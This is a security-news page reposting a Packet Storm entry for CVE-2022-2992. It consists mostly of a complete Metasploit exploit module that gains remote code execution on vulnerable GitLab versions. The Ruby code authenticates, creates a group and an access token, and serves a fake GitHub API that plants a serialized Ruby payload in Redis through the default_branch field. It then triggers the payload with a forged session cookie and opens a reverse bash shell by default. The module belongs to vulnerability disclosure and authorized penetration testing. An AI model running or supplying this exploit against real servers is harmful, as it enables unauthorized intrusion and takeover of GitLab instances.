Security
Headlines
HeadlinesLatestCVEs

Headline

GitLab GitHub Repo Import Deserialization Remote Code Execution

An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested default_branch. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in remote code execution.

Packet Storm
#linux#redis#js#git#rce#auth#ruby
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Git::SmartHttp  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Gitlab  include Msf::Exploit::RubyDeserialization  attr_accessor :cookie  def initialize(info = {})    super(      update_info(        info,        'Name' => 'GitLab GitHub Repo Import Deserialization RCE',        'Description' => %q{          An authenticated user can import a repository from GitHub into GitLab.          If a user attempts to import a repo from an attacker-controlled server,          the server will reply with a Redis serialization protocol object in the nested          `default_branch`. GitLab will cache this object and          then deserialize it when trying to load a user session, resulting in RCE.        },        'Author' => [          'William Bowling (vakzz)', # discovery          'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module          'RedWay Security <https://infosec.exchange/@redway>', # PoC        ],        'References' => [          ['URL', 'https://hackerone.com/reports/1679624'],          ['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC          ['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],          ['CVE', '2022-2992']        ],        'DisclosureDate' => '2022-10-06',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Stance' => Msf::Exploit::Stance::Aggressive,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),        OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),        OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),        OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])      ]    )    deregister_options('GIT_URI')  end  def group_name    @group_name ||= Rex::Text.rand_text_alpha(8..12)  end  def api_token    @api_token ||= gitlab_create_personal_access_token  end  def session_id    @session_id ||= Rex::Text.rand_text_hex(32)  end  def redis_payload(cmd)    serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)    gitlab_session_id = "session:gitlab:#{session_id}"    # A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)    # The command set    # The gitlab session to load the payload from    # The Payload itself. A Ruby serialized command    "*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"  end  def check    self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie    vprint_status('Trying to get the GitLab version')    version = Rex::Version.new(gitlab_version)    return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (      version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||      version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||      version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))    )    report_vuln(      host: rhost,      name: name,      refs: references,      info: [version]    )    return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError    return CheckCode::Detected('Could not detect the version because authentication failed.')  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e    return CheckCode::Unknown("#{e.class} - #{e.message}")  end  def cleanup    super    return unless @import_id    gitlab_delete_group(@group_id, api_token)    gitlab_revoke_personal_access_token(api_token)    gitlab_sign_out  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e    print_error("#{e.class} - #{e.message}")  end  def exploit    if Rex::Socket.is_internal?(srvhost_addr)      print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")    end    setup_repo_structure    start_service({      'Uri' => {        'Proc' => proc do |cli, req|          on_request_uri(cli, req)        end,        'Path' => '/'      }    })    execute_command(payload.encoded)  rescue Timeout::Error => e    fail_with(Failure::TimeoutExpired, e.message)  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set    self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie    vprint_status("Session ID: #{session_id}")    vprint_status("Creating group #{group_name}")    # We need group id for the cleanup method    @group_id = gitlab_create_group(group_name, api_token)['id']    fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id    @redis_payload = redis_payload(cmd)    # import a repository from GitHub    vprint_status('Importing a repository from GitHub')    @import_id = gitlab_import_github_repo(      group_name: group_name,      github_hostname: get_uri,      api_token: api_token    )['id']    fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id    # wait for the import tasks to finish    select(nil, nil, nil, datastore['IMPORT_DELAY'])    # execute the payload    send_request_cgi({      'uri' => normalize_uri(target_uri.path, group_name),      'method' => 'GET',      'keep_cookies' => false,      'cookie' => "_gitlab_session=#{session_id}"    })  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e    fail_with(Failure::Unknown, "#{e.class} - #{e.message}")  end  def setup_repo_structure    blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"    blob_data = Rex::Text.rand_text_alpha(5..12)    blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)    tree_data =      {        mode: '100644',        file_name: blob_object_fname,        sha1: blob_object.sha1      }    tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)    commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)    git_objs = [ commit_obj, tree_object, blob_object ]    @refs =      {        'HEAD' => 'refs/heads/main',        'refs/heads/main' => commit_obj.sha1      }    @packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)  end  # Handle incoming requests from GitLab server  def on_request_uri(cli, req)    super    headers = { 'Content-Type' => 'application/json' }    data = {}.to_json    case req.uri    when %r{/api/v3/rate_limit}      headers.merge!({        'X-RateLimit-Limit' => '100000',        'X-RateLimit-Remaining' => '100000'      })    when %r{/api/v3/repositories/(\w{1,20})}      id = Regexp.last_match(1)      name = Rex::Text.rand_text_alpha(8..12)      data = {        id: id,        name: name,        full_name: "#{name}/name",        clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"      }.to_json    when %r{/\w+/public.git/info/refs}      data = build_pkt_line_advertise(@refs)      headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })    when %r{/\w+/public.git/git-upload-pack}      data = build_pkt_line_sideband(@packfile)      headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })    when %r{/api/v3/repos/\w+/\w+}      bytes_size = rand(3..8)      data = {        'default_branch' => {          'to_s' => {            'bytesize' => bytes_size,            'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"            # using a simple string format for RESP          }        }      }.to_json    end    send_response(cli, data, headers)  endend

Related news

CVE-2022-2992: 2022/CVE-2022-2992.json · master · GitLab.org / cves · GitLab

A vulnerability in GitLab CE/EE affecting all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint.

Packet Storm: Latest News

Scapy Packet Manipulation Tool 2.6.1